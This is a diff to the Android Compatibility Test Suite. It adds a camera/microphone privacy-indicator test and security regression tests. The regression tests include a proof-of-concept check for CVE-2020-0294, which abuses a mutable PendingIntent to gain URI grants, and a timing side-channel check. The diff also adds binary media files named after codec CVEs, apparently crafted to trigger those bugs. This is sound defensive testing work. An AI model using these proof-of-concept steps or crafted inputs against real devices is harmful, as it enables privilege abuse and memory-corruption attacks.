diff --git a/tests/tests/permission4/AppThatAccessesCameraAndMic/src/android/permission4/cts/appthataccessescameraandmic/AccessCameraOrMicActivity.kt b/tests/tests/permission4/AppThatAccessesCameraAndMic/src/android/permission4/cts/appthataccessescameraandmic/AccessCameraOrMicActivity.kt
new file mode 100644
index 0000000..2be6926
--- /dev/null
+++ b/tests/tests/permission4/AppThatAccessesCameraAndMic/src/android/permission4/cts/appthataccessescameraandmic/AccessCameraOrMicActivity.kt
@@ -0,0 +1,114 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission4.cts.appthataccessescameraandmic
+
+import android.app.Activity
+import android.hardware.camera2.CameraAccessException
+import android.hardware.camera2.CameraDevice
+import android.hardware.camera2.CameraManager
+import android.media.AudioFormat.CHANNEL_IN_MONO
+import android.media.AudioFormat.ENCODING_PCM_16BIT
+import android.media.AudioRecord
+import android.media.MediaRecorder.AudioSource.MIC
+import androidx.annotation.NonNull
+import kotlinx.coroutines.GlobalScope
+import kotlinx.coroutines.delay
+import kotlinx.coroutines.launch
+
+private const val USE_CAMERA = "use_camera"
+private const val USE_MICROPHONE = "use_microphone"
+private const val USE_DURATION_MS = 10000L
+private const val SAMPLE_RATE_HZ = 44100
+
+/**
+ * Activity which will, depending on the extra passed in the intent, use the camera, the microphone,
+ * or both.
+ */
+class AccessCameraOrMicActivity : Activity() {
+ private lateinit var cameraId: String
+ private var cameraDevice: CameraDevice? = null
+ private var recorder: AudioRecord? = null
+ private var cameraFinished = false
+ private var runCamera = false
+ private var micFinished = false
+ private var runMic = false
+
+ override fun onStart() {
+ super.onStart()
+ runCamera = intent.getBooleanExtra(USE_CAMERA, false)
+ runMic = intent.getBooleanExtra(USE_MICROPHONE, false)
+
+ if (runMic) {
+ useMic()
+ }
+
+ if (runCamera) {
+ useCamera()
+ }
+ }
+
+ override fun onStop() {
+ super.onStop()
+ cameraDevice?.close()
+ recorder?.stop()
+ finish()
+ }
+
+ private val stateCallback = object : CameraDevice.StateCallback() {
+ override fun onOpened(@NonNull camDevice: CameraDevice) {
+ cameraDevice = camDevice
+ GlobalScope.launch {
+ delay(USE_DURATION_MS)
+ cameraFinished = true
+ if (!runMic || micFinished) {
+ finish()
+ }
+ }
+ }
+
+ override fun onDisconnected(@NonNull camDevice: CameraDevice) {
+ camDevice.close()
+ throw RuntimeException("Camera was disconnected")
+ }
+
+ override fun onError(@NonNull camDevice: CameraDevice, error: Int) {
+ camDevice.close()
+ throw RuntimeException("Camera error")
+ }
+ }
+
+ @Throws(CameraAccessException::class)
+ private fun useCamera() {
+ val manager = getSystemService(CameraManager::class.java)!!
+ cameraId = manager.cameraIdList[0]
+ manager.openCamera(cameraId, mainExecutor, stateCallback)
+ }
+
+ private fun useMic() {
+ val minSize =
+ AudioRecord.getMinBufferSize(SAMPLE_RATE_HZ, CHANNEL_IN_MONO, ENCODING_PCM_16BIT)
+ recorder = AudioRecord(MIC, SAMPLE_RATE_HZ, CHANNEL_IN_MONO, ENCODING_PCM_16BIT, minSize)
+ recorder?.startRecording()
+ GlobalScope.launch {
+ delay(USE_DURATION_MS)
+ micFinished = true
+ if (!runCamera || cameraFinished) {
+ finish()
+ }
+ }
+ }
+}
diff --git a/tests/tests/permission4/OWNERS b/tests/tests/permission4/OWNERS
new file mode 100644
index 0000000..d4d6a95
--- /dev/null
+++ b/tests/tests/permission4/OWNERS
@@ -0,0 +1,7 @@
+# Bug component: 137825
+svetoslavganov@google.com
+moltmann@google.com
+zhanghai@google.com
+eugenesusla@google.com
+evanseverson@google.com
+ntmyren@google.com
diff --git a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
new file mode 100644
index 0000000..0f36f5a
--- /dev/null
+++ b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
@@ -0,0 +1,181 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.permission4.cts
+
+import android.Manifest
+import android.app.Instrumentation
+import android.app.UiAutomation
+import android.app.compat.CompatChanges
+import android.content.Context
+import android.content.Intent
+import android.content.pm.PackageManager
+import android.hardware.camera2.CameraManager
+import android.os.Process
+import android.provider.DeviceConfig
+import android.provider.Settings
+import android.support.test.uiautomator.By
+import android.support.test.uiautomator.UiDevice
+import android.support.test.uiautomator.UiSelector
+import androidx.test.platform.app.InstrumentationRegistry
+import com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity
+import com.android.compatibility.common.util.SystemUtil.eventually
+import com.android.compatibility.common.util.SystemUtil.runShellCommand
+import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
+import org.junit.After
+import org.junit.Assert.assertTrue
+import org.junit.Assume.assumeFalse
+import org.junit.Assume.assumeTrue
+import org.junit.Before
+import org.junit.Test
+
+private const val APP_LABEL = "CtsCameraMicAccess"
+private const val USE_CAMERA = "use_camera"
+private const val USE_MICROPHONE = "use_microphone"
+private const val INTENT_ACTION = "test.action.USE_CAMERA_OR_MIC"
+private const val PRIVACY_CHIP_ID = "com.android.systemui:id/privacy_chip"
+private const val INDICATORS_FLAG = "camera_mic_icons_enabled"
+private const val PERMISSION_INDICATORS_NOT_PRESENT = 162547999L
+private const val IDLE_TIMEOUT_MILLIS: Long = 1000
+private const val UNEXPECTED_TIMEOUT_MILLIS = 1000
+private const val TIMEOUT_MILLIS: Long = 20000
+
+class CameraMicIndicatorsPermissionTest {
+ private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
+ private val context: Context = instrumentation.context
+ private val uiAutomation: UiAutomation = instrumentation.uiAutomation
+ private val uiDevice: UiDevice = UiDevice.getInstance(instrumentation)
+ private val packageManager: PackageManager = context.packageManager
+
+ private var wasEnabled = false
+ private val micLabel = packageManager.getPermissionGroupInfo(
+ Manifest.permission_group.MICROPHONE, 0).loadLabel(packageManager).toString()
+ private val cameraLabel = packageManager.getPermissionGroupInfo(
+ Manifest.permission_group.CAMERA, 0).loadLabel(packageManager).toString()
+
+ private var screenTimeoutBeforeTest: Long = 0L
+
+ @Before
+ fun setUp() {
+ runWithShellPermissionIdentity {
+ screenTimeoutBeforeTest = Settings.System.getLong(
+ context.contentResolver, Settings.System.SCREEN_OFF_TIMEOUT
+ )
+ Settings.System.putLong(
+ context.contentResolver, Settings.System.SCREEN_OFF_TIMEOUT, 1800000L
+ )
+ }
+
+ uiDevice.wakeUp()
+ runShellCommand(instrumentation, "wm dismiss-keyguard")
+
+ uiDevice.findObject(By.text("Close"))?.click()
+ wasEnabled = setIndicatorsEnabledStateIfNeeded(true)
+ // If the change Id is not present, then isChangeEnabled will return true. To bypass this,
+ // the change is set to "false" if present.
+ assumeFalse("feature not present on this device", callWithShellPermissionIdentity {
+ CompatChanges.isChangeEnabled(PERMISSION_INDICATORS_NOT_PRESENT, Process.SYSTEM_UID)
+ })
+ }
+
+ private fun setIndicatorsEnabledStateIfNeeded(shouldBeEnabled: Boolean): Boolean {
+ var currentlyEnabled = false
+ runWithShellPermissionIdentity {
+ currentlyEnabled = DeviceConfig.getBoolean(DeviceConfig.NAMESPACE_PRIVACY,
+ INDICATORS_FLAG, false)
+ if (currentlyEnabled != shouldBeEnabled) {
+ DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PRIVACY, INDICATORS_FLAG,
+ shouldBeEnabled.toString(), false)
+ }
+ }
+ return currentlyEnabled
+ }
+
+ @After
+ fun tearDown() {
+ if (!wasEnabled) {
+ setIndicatorsEnabledStateIfNeeded(false)
+ }
+ runWithShellPermissionIdentity {
+ Settings.System.putLong(
+ context.contentResolver, Settings.System.SCREEN_OFF_TIMEOUT,
+ screenTimeoutBeforeTest
+ )
+ }
+
+ pressHome()
+ }
+
+ private fun openApp(useMic: Boolean, useCamera: Boolean) {
+ context.startActivity(Intent(INTENT_ACTION).apply {
+ putExtra(USE_CAMERA, useCamera)
+ putExtra(USE_MICROPHONE, useMic)
+ addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ })
+ }
+
+ @Test
+ fun testCameraIndicator() {
+ val manager = context.getSystemService(CameraManager::class.java)!!
+ assumeTrue(manager.cameraIdList.isNotEmpty())
+ testCameraAndMicIndicator(useMic = false, useCamera = true)
+ }
+
+ @Test
+ fun testMicIndicator() {
+ testCameraAndMicIndicator(useMic = true, useCamera = false)
+ }
+
+ private fun testCameraAndMicIndicator(useMic: Boolean, useCamera: Boolean) {
+ openApp(useMic, useCamera)
+ eventually {
+ val appView = uiDevice.findObject(UiSelector().textContains(APP_LABEL))
+ assertTrue("View with text $APP_LABEL not found", appView.exists())
+ }
+ uiDevice.openNotification()
+ // Ensure the privacy chip is present
+ eventually {
+ val privacyChip = uiDevice.findObject(UiSelector().resourceId(PRIVACY_CHIP_ID))
+ assertTrue("view with id $PRIVACY_CHIP_ID not found", privacyChip.exists())
+ privacyChip.click()
+ }
+ eventually {
+ if (useMic) {
+ val appView = uiDevice.findObject(UiSelector().textContains(micLabel))
+ assertTrue("View with text $APP_LABEL not found", appView.exists())
+ }
+ if (useCamera) {
+ val appView = uiDevice.findObject(UiSelector().textContains(cameraLabel))
+ assertTrue("View with text $APP_LABEL not found", appView.exists())
+ }
+ val appView = uiDevice.findObject(UiSelector().textContains(APP_LABEL))
+ assertTrue("View with text $APP_LABEL not found", appView.exists())
+ }
+ pressBack()
+ }
+
+ private fun pressBack() {
+ uiDevice.pressBack()
+ waitForIdle()
+ }
+
+ private fun pressHome() {
+ uiDevice.pressHome()
+ waitForIdle()
+ }
+
+ private fun waitForIdle() =
+ uiAutomation.waitForIdle(IDLE_TIMEOUT_MILLIS, TIMEOUT_MILLIS)
+}
\ No newline at end of file
diff --git a/tests/tests/preference/src/android/preference/cts/TestUtils.java b/tests/tests/preference/src/android/preference/cts/TestUtils.java
index 30bd9fc..1992b95 100644
--- a/tests/tests/preference/src/android/preference/cts/TestUtils.java
+++ b/tests/tests/preference/src/android/preference/cts/TestUtils.java
@@ -16,6 +16,7 @@
package android.preference.cts;
+import android.app.Activity;
import android.app.Instrumentation;
import android.app.UiAutomation;
import android.app.UiModeManager;
@@ -31,8 +32,6 @@
import android.support.test.uiautomator.UiSelector;
import android.support.test.uiautomator.Until;
import android.util.DisplayMetrics;
-import android.view.Display;
-import android.view.Window;
import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.rule.ActivityTestRule;
@@ -50,8 +49,7 @@
private final UiAutomation mAutomation;
private int mStatusBarHeight = -1;
private int mNavigationBarHeight = -1;
- private Display mDisplay;
- private Window mWindow;
+ private ActivityTestRule<?> mRule;
TestUtils(ActivityTestRule<?> rule) {
mInstrumentation = InstrumentationRegistry.getInstrumentation();
@@ -59,8 +57,7 @@
mPackageName = mContext.getPackageName();
mDevice = UiDevice.getInstance(mInstrumentation);
mAutomation = mInstrumentation.getUiAutomation();
- mDisplay = rule.getActivity().getDisplay();
- mWindow = rule.getActivity().getWindow();
+ mRule = rule;
}
void waitForIdle() {
@@ -165,9 +162,10 @@
private boolean hasVerticalNavBar() {
Rect displayFrame = new Rect();
- mWindow.getDecorView().getWindowVisibleDisplayFrame(displayFrame);
+ final Activity activity = mRule.getActivity();
+ activity.getWindow().getDecorView().getWindowVisibleDisplayFrame(displayFrame);
DisplayMetrics dm = new DisplayMetrics();
- mDisplay.getRealMetrics(dm);
+ activity.getDisplay().getRealMetrics(dm);
return dm.heightPixels == displayFrame.bottom;
}
diff --git a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
index 660da6d..e842917 100644
--- a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
+++ b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
@@ -62,6 +62,7 @@
private Context mContext;
private boolean mHasTouchScreen;
+ private boolean mHasBluetooth;
private UiDevice mDevice;
@@ -74,6 +75,7 @@
mHasTouchScreen = packageManager.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
|| packageManager.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH);
+ mHasBluetooth = packageManager.hasSystemFeature(PackageManager.FEATURE_BLUETOOTH);
Intent launcherIntent = new Intent(Intent.ACTION_MAIN);
launcherIntent.addCategory(Intent.CATEGORY_HOME);
diff --git a/tests/tests/security/AndroidTest.xml b/tests/tests/security/AndroidTest.xml
index ad7fa33..a7d1ede 100644
--- a/tests/tests/security/AndroidTest.xml
+++ b/tests/tests/security/AndroidTest.xml
@@ -21,6 +21,7 @@
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsDeviceInfo.apk" />
<option name="test-file-name" value="CtsSecurityTestCases.apk" />
</target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.CrashReporter" />
diff --git a/tests/tests/security/OWNERS b/tests/tests/security/OWNERS
index d6bf090..5787345 100644
--- a/tests/tests/security/OWNERS
+++ b/tests/tests/security/OWNERS
@@ -4,3 +4,4 @@
nnk@google.com
mspector@google.com
manjaepark@google.com
+cdombroski@google.com
diff --git a/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp b/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp
index 7229574..824cb50 100644
--- a/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp
+++ b/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp
@@ -46,14 +46,17 @@
}
#ifdef __arm__
-// For ARM32, assemble the 'aese.8' instruction as a .word, since otherwise
+// For ARM32, assemble the 'aese.8' instruction as an .inst, since otherwise
// clang does not accept it. It would be allowed in a separate file compiled
-// with -march=armv8, but this way is much easier. And it's not yet possible to
-// use a target function attribute, because clang doesn't yet support
-// target("fpu=crypto-neon-fp-armv8") like gcc does.
-static void executeAESInstruction(void) {
+// with -march=armv8+crypto, but this way is much easier. And it's not yet
+// possible to use a target function attribute, because clang doesn't yet
+// support target("fpu=crypto-neon-fp-armv8") like gcc does.
+//
+// We use the ARM encoding of the instruction, not the Thumb encoding. So make
+// sure to use target("arm") to mark the function as containing ARM code.
+static void __attribute__((target("arm"))) executeAESInstruction(void) {
// aese.8 q0, q1
- asm volatile(".word 0xf3b00302" : : : "q0");
+ asm volatile(".inst 0xf3b00302" : : : "q0");
}
#elif defined(__aarch64__)
static void __attribute__((target("crypto"))) executeAESInstruction(void) {
diff --git a/tests/tests/security/res/raw/bug170240631_ts.mp4 b/tests/tests/security/res/raw/bug170240631_ts.mp4
new file mode 100644
index 0000000..9891dc6
--- /dev/null
+++ b/tests/tests/security/res/raw/bug170240631_ts.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_9412.mp3 b/tests/tests/security/res/raw/cve_2018_9412.mp3
new file mode 100644
index 0000000..23391b3
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_9412.mp3
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_9474.mp4 b/tests/tests/security/res/raw/cve_2018_9474.mp4
new file mode 100644
index 0000000..3ff485a
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_9474.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10489.mp4 b/tests/tests/security/res/raw/cve_2019_10489.mp4
new file mode 100644
index 0000000..a3eba77
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10489.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10532.wmv b/tests/tests/security/res/raw/cve_2019_10532.wmv
new file mode 100644
index 0000000..4869a54
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10532.wmv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10578.mkv b/tests/tests/security/res/raw/cve_2019_10578.mkv
new file mode 100644
index 0000000..4e39345
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10578.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10579.mkv b/tests/tests/security/res/raw/cve_2019_10579.mkv
new file mode 100644
index 0000000..0b079d5
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10579.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10590.mp4 b/tests/tests/security/res/raw/cve_2019_10590.mp4
new file mode 100644
index 0000000..84b7981
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10590.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10591.mp4 b/tests/tests/security/res/raw/cve_2019_10591.mp4
new file mode 100644
index 0000000..73b288a
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10591.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10611.mp4 b/tests/tests/security/res/raw/cve_2019_10611.mp4
new file mode 100644
index 0000000..3374e81
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10611.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14003.mkv b/tests/tests/security/res/raw/cve_2019_14003.mkv
new file mode 100644
index 0000000..973a130
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14003.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14004.mkv b/tests/tests/security/res/raw/cve_2019_14004.mkv
new file mode 100644
index 0000000..c222cf7
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14004.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14005.mkv b/tests/tests/security/res/raw/cve_2019_14005.mkv
new file mode 100644
index 0000000..74d596b
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14005.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14006.mkv b/tests/tests/security/res/raw/cve_2019_14006.mkv
new file mode 100644
index 0000000..37b0c0a
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14006.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14016.wmv b/tests/tests/security/res/raw/cve_2019_14016.wmv
new file mode 100644
index 0000000..aeff9c1
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14016.wmv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14017.mkv b/tests/tests/security/res/raw/cve_2019_14017.mkv
new file mode 100644
index 0000000..ad6a7ba
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14017.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14048.ts b/tests/tests/security/res/raw/cve_2019_14048.ts
new file mode 100644
index 0000000..1a79b20
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14048.ts
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14057.mkv b/tests/tests/security/res/raw/cve_2019_14057.mkv
new file mode 100644
index 0000000..4ec7655
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14057.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14061.mkv b/tests/tests/security/res/raw/cve_2019_14061.mkv
new file mode 100644
index 0000000..ec869f2
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14061.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14127.mkv b/tests/tests/security/res/raw/cve_2019_14127.mkv
new file mode 100644
index 0000000..e9e15a5
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14127.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14132.mp4 b/tests/tests/security/res/raw/cve_2019_14132.mp4
new file mode 100644
index 0000000..f95a77d
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14132.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_1989_h264.mp4 b/tests/tests/security/res/raw/cve_2019_1989_h264.mp4
new file mode 100644
index 0000000..bc6f1ed
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_1989_h264.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_1989_info.mp4 b/tests/tests/security/res/raw/cve_2019_1989_info.mp4
new file mode 100644
index 0000000..57b59b5
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_1989_info.mp4
@@ -0,0 +1,46 @@
+1 706
+1 27
+1 8
+0 59463
+0 8879
+0 1702
+0 1196
+0 967
+0 6219
+0 1727
+0 542
+0 600
+0 9607
+0 2226
+0 763
+0 752
+0 10565
+0 2636
+0 966
+0 1030
+0 11734
+0 3270
+0 1056
+0 1003
+0 11993
+0 3253
+0 1066
+0 1091
+0 12431
+0 3425
+0 1118
+0 1149
+0 5523
+0 6016
+0 5999
+0 5897
+0 12690
+0 3997
+0 1127
+1 27
+1 7
+0 39989
+0 2702
+0 4955
+0 4868
+0 5516
diff --git a/tests/tests/security/res/raw/cve_2019_2108_hevc.mp4 b/tests/tests/security/res/raw/cve_2019_2108_hevc.mp4
new file mode 100644
index 0000000..cb2df96
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2108_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2222_framelen.mp4 b/tests/tests/security/res/raw/cve_2019_2222_framelen.mp4
new file mode 100644
index 0000000..a4bc980
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2222_framelen.mp4
@@ -0,0 +1,8 @@
+35
+28
+12
+6
+10
+31
+8
+130
diff --git a/tests/tests/security/res/raw/cve_2019_2222_hevc.mp4 b/tests/tests/security/res/raw/cve_2019_2222_hevc.mp4
new file mode 100644
index 0000000..26b8007
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2222_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2223_framelen.mp4 b/tests/tests/security/res/raw/cve_2019_2223_framelen.mp4
new file mode 100644
index 0000000..a1c3cfc
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2223_framelen.mp4
@@ -0,0 +1,5 @@
+29
+12
+9
+23
+73
diff --git a/tests/tests/security/res/raw/cve_2019_2223_hevc.mp4 b/tests/tests/security/res/raw/cve_2019_2223_hevc.mp4
new file mode 100644
index 0000000..f9d5dbc
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2223_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2253.ogg b/tests/tests/security/res/raw/cve_2019_2253.ogg
new file mode 100644
index 0000000..98fe781
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2253.ogg
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2020_3641.mp4 b/tests/tests/security/res/raw/cve_2020_3641.mp4
new file mode 100644
index 0000000..ee66c7c
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_3641.mp4
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
index 47730e1..1e0232b 100644
--- a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
@@ -16,10 +16,13 @@
package android.security.cts;
import android.app.ActivityManager;
+import android.app.ApplicationExitInfo;
+import android.content.Context;
import android.os.IBinder;
import android.platform.test.annotations.SecurityTest;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
import junit.framework.TestCase;
import java.lang.reflect.InvocationTargetException;
@@ -76,4 +79,42 @@
assertNotNull("Expect SecurityException by attaching null application", securityException);
}
+
+ // b/165595677
+ @SecurityTest(minPatchLevel = "2020-10")
+ public void testActivityManager_appExitReasonPackageNames() {
+ final String mockPackage = "com.foo.bar";
+ final String realPackage = "com.android.compatibility.common.deviceinfo";
+ final Context context = InstrumentationRegistry.getTargetContext();
+ final ActivityManager am = context.getSystemService(ActivityManager.class);
+ try {
+ am.getHistoricalProcessExitReasons(mockPackage, 0, 0);
+ fail("Expecting SecurityException");
+ } catch (SecurityException e) {
+ // expected
+ }
+
+ final int totalLoops = 10000;
+ int mockPackagescores = 0;
+ final double tolerance = 0.2d;
+ for (int i = 0; i < totalLoops; i++) {
+ final long realPackageTiming = measureGetHistoricalProcessExitReasons(am, realPackage);
+ final long mockPackageTiming = measureGetHistoricalProcessExitReasons(am, mockPackage);
+ mockPackagescores += mockPackageTiming < realPackageTiming ? 1 : 0;
+ }
+
+ assertTrue(Math.abs((double) mockPackagescores / totalLoops - 0.5d) < tolerance);
+ }
+
+ /**
+ * Run ActivityManager.getHistoricalProcessExitReasons once, return the time spent on it.
+ */
+ private long measureGetHistoricalProcessExitReasons(ActivityManager am, String pkg) {
+ final long start = System.nanoTime();
+ try {
+ am.getHistoricalProcessExitReasons(pkg, 0, 0);
+ } catch (Exception e) {
+ }
+ return System.nanoTime() - start;
+ }
}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2020_0294.java b/tests/tests/security/src/android/security/cts/CVE_2020_0294.java
new file mode 100644
index 0000000..0a533bb
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2020_0294.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.app.ActivityManager;
+import android.app.Instrumentation;
+import android.app.PendingIntent;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.platform.test.annotations.SecurityTest;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.*;
+import static org.junit.Assume.*;
+
+@SecurityTest
+@RunWith(AndroidJUnit4.class)
+public class CVE_2020_0294 {
+ private static final String TAG = "CVE_2020_0294";
+
+ /**
+ * b/170661753
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2020-12")
+ public void testPocCVE_2020_0294() throws Exception {
+ Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+ ActivityManager activityManager = (ActivityManager) instrumentation.getContext()
+ .getSystemService(Context.ACTIVITY_SERVICE);
+ Context targetContext = instrumentation.getTargetContext();
+ ComponentName componentName =
+ ComponentName.unflattenFromString("com.android.systemui/.ImageWallpaper");
+ PendingIntent pi = activityManager.getRunningServiceControlPanel(componentName);
+ assumeNotNull(pi);
+
+ Intent spuriousIntent = new Intent();
+ spuriousIntent.setPackage(targetContext.getPackageName());
+ spuriousIntent.setDataAndType(
+ Uri.parse("content://com.android.settings.files/my_cache/NOTICE.html"), "txt/html");
+ spuriousIntent.setFlags(
+ Intent.FLAG_GRANT_WRITE_URI_PERMISSION | Intent.FLAG_GRANT_READ_URI_PERMISSION);
+ try {
+ pi.send(targetContext, 0, spuriousIntent, null, null);
+ } catch (PendingIntent.CanceledException e) {
+ //This means PendingIntent has failed as its mutable
+ fail("PendingIntent from WallpaperManagerService is mutable");
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/MotionEventTest.java b/tests/tests/security/src/android/security/cts/MotionEventTest.java
index 0e39863..f7d3edc 100644
--- a/tests/tests/security/src/android/security/cts/MotionEventTest.java
+++ b/tests/tests/security/src/android/security/cts/MotionEventTest.java
@@ -129,19 +129,21 @@
WidgetTestUtils.runOnMainAndLayoutSync(mActivityRule, view, null /*runnable*/,
true /*forceLayout*/);
- // This ensures the window is visible, where the code above ensures
+ // This ensures the window is visible, where the code above ensures
// the view is on screen.
mActivityRule.runOnUiThread(() -> {
// This will force WindowManager to relayout, ensuring the
- // transaction to show the window are sent to the graphics code.
+ // transaction to show the window are sent to the graphics code.
wm.updateViewLayout(view, wmlp);
});
+ // Find the position inside the main activity and outside of the overlays.
FutureTask<Point> clickLocationTask = new FutureTask<>(() -> {
final int[] viewLocation = new int[2];
- view.getLocationOnScreen(viewLocation);
+ final View decorView = mActivity.getWindow().getDecorView();
+ decorView.getLocationOnScreen(viewLocation);
// Set y position to the center of the view, to make sure it is away from the status bar
- return new Point(viewLocation[0], viewLocation[1] + view.getHeight() / 2);
+ return new Point(viewLocation[0], viewLocation[1] + decorView.getHeight() / 2);
});
mActivity.runOnUiThread(clickLocationTask);
Point viewLocation = clickLocationTask.get(5, TimeUnit.SECONDS);
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 66059d8..16fc7bd 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
